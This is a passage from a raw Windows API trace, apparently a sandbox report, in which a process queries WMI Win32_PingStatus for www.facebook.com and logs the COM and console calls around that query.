pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317488*=0, plFlavor=0x231748c*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2317488*=8, plFlavor=0x231748c*=64) returned 0x0 [0142.676] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.676] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.676] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23174d4*=0, plFlavor=0x23174d8*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x23174d4*=8, plFlavor=0x23174d8*=64) returned 0x0 [0142.676] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.676] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.676] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0142.676] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0142.676] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.677] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="WriteDebugStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317710*=0, plFlavor=0x2317714*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317710*=0, plFlavor=0x2317714*=0) returned 0x80041002 [0142.677] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0142.678] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c58998) returned 0x0 [0142.678] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58998, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0142.678] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c58998, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c687b8) returned 0x0 [0142.678] WbemStatusCodeText:IUnknown:Release (This=0x5c58998) returned 0x0 [0142.678] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687b8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c687b8) returned 0x0 [0142.679] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687b8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0142.679] WbemStatusCodeText:IUnknown:AddRef (This=0x5c687b8) returned 0x3 [0142.679] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687b8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0142.679] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687b8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0142.679] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687b8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0142.679] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0142.679] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0142.679] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687b8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0142.679] WbemStatusCodeText:IUnknown:Release (This=0x5c687b8) returned 0x2 [0142.679] WbemStatusCodeText:IUnknown:Release (This=0x5c687b8) returned 0x1 [0142.679] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0142.679] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0142.679] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c687b8, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c687b8) returned 0x0 [0142.679] WbemStatusCodeText:IUnknown:AddRef (This=0x5c687b8) returned 0x3 [0142.679] WbemStatusCodeText:IUnknown:Release (This=0x5c687b8) returned 0x2 [0142.679] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c687b8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0142.679] SysStringByteLen (bstr="Not found ") returned 0x14 [0142.681] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0142.681] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0142.681] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.681] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0142.681] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0142.681] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.681] IWbemClassObject:GetNames (in: This=0x5c8ed30, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0142.681] SafeArrayGetDim (psa=0x5c78e48) returned 0x1 [0142.681] SafeArrayGetDim (psa=0x5c78e48) returned 0x1 [0142.681] SafeArrayGetLBound (in: psa=0x5c78e48, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0142.682] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.682] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.682] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.682] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.682] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.682] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.682] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.682] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.682] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.682] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.682] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.682] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.682] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.682] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.682] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.682] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.682] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.683] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.683] SysStringByteLen (bstr="__PATH") returned 0xc [0142.683] SysStringByteLen (bstr="__PATH") returned 0xc [0142.683] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317af0*=0, plFlavor=0x2317af4*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2317af0*=3, plFlavor=0x2317af4*=64) returned 0x0 [0142.683] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317b24*=0, plFlavor=0x2317b28*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2317b24*=8, plFlavor=0x2317b28*=64) returned 0x0 [0142.683] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.683] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.684] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317b7c*=0, plFlavor=0x2317b80*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317b7c*=8, plFlavor=0x2317b80*=64) returned 0x0 [0142.684] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317ba4*=0, plFlavor=0x2317ba8*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2317ba4*=8, plFlavor=0x2317ba8*=64) returned 0x0 [0142.684] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.684] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.684] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317bfc*=0, plFlavor=0x2317c00*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2317bfc*=8, plFlavor=0x2317c00*=64) returned 0x0 [0142.684] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.684] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.685] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317ddc*=0, plFlavor=0x2317de0*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2317ddc*=3, plFlavor=0x2317de0*=64) returned 0x0 [0142.685] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317e10*=0, plFlavor=0x2317e14*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e78*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2317e10*=8200, plFlavor=0x2317e14*=64) returned 0x0 [0142.686] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317e44*=0, plFlavor=0x2317e48*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2317e44*=8, plFlavor=0x2317e48*=64) returned 0x0 [0142.686] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.686] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.686] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317e90*=0, plFlavor=0x2317e94*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2317e90*=8, plFlavor=0x2317e94*=64) returned 0x0 [0142.686] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.687] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.687] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317ee8*=0, plFlavor=0x2317eec*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2317ee8*=8, plFlavor=0x2317eec*=64) returned 0x0 [0142.687] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.687] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.688] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0142.688] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0142.688] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.688] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="WriteInformationStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2318124*=0, plFlavor=0x2318128*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2318124*=0, plFlavor=0x2318128*=0) returned 0x80041002 [0142.688] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0142.691] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c58998) returned 0x0 [0142.691] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58998, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0142.691] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c58998, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c68878) returned 0x0 [0142.691] WbemStatusCodeText:IUnknown:Release (This=0x5c58998) returned 0x0 [0142.691] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68878, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c68878) returned 0x0 [0142.691] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68878, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0142.692] WbemStatusCodeText:IUnknown:AddRef (This=0x5c68878) returned 0x3 [0142.692] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68878, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0142.692] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68878, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0142.692] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68878, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0142.692] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0142.692] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0142.692] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68878, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0142.692] WbemStatusCodeText:IUnknown:Release (This=0x5c68878) returned 0x2 [0142.692] WbemStatusCodeText:IUnknown:Release (This=0x5c68878) returned 0x1 [0142.692] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0142.692] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0142.692] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68878, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c68878) returned 0x0 [0142.692] WbemStatusCodeText:IUnknown:AddRef (This=0x5c68878) returned 0x3 [0142.692] WbemStatusCodeText:IUnknown:Release (This=0x5c68878) returned 0x2 [0142.692] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c68878, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0142.692] SysStringByteLen (bstr="Not found ") returned 0x14 [0142.694] GetConsoleOutputCP () returned 0x1b5 [0142.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0142.773] GetConsoleOutputCP () returned 0x1b5 [0142.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0142.773] GetConsoleOutputCP () returned 0x1b5 [0142.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0142.773] GetConsoleOutputCP () returned 0x1b5 [0142.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0142.773] GetConsoleOutputCP () returned 0x1b5 [0142.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0142.774] GetConsoleOutputCP () returned 0x1b5 [0142.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0142.774] GetConsoleOutputCP () returned 0x1b5 [0142.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0142.774] GetConsoleOutputCP () returned 0x1b5 [0142.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0142.774] GetConsoleOutputCP () returned 0x1b5 [0142.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0142.774] GetConsoleOutputCP () returned 0x1b5 [0142.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0142.774] GetConsoleOutputCP () returned 0x1b5 [0142.774] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0142.775] GetConsoleOutputCP () returned 0x1b5 [0142.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0142.775] GetConsoleOutputCP () returned 0x1b5 [0142.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0142.775] GetConsoleOutputCP () returned 0x1b5 [0142.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0142.775] GetConsoleOutputCP () returned 0x1b5 [0142.775] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0142.775] GetConsoleOutputCP () returned 0x1b5 [0142.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0142.776] GetConsoleOutputCP () returned 0x1b5 [0142.776] TranslateCharsetInfo (in: lpSrc=0x1b5, 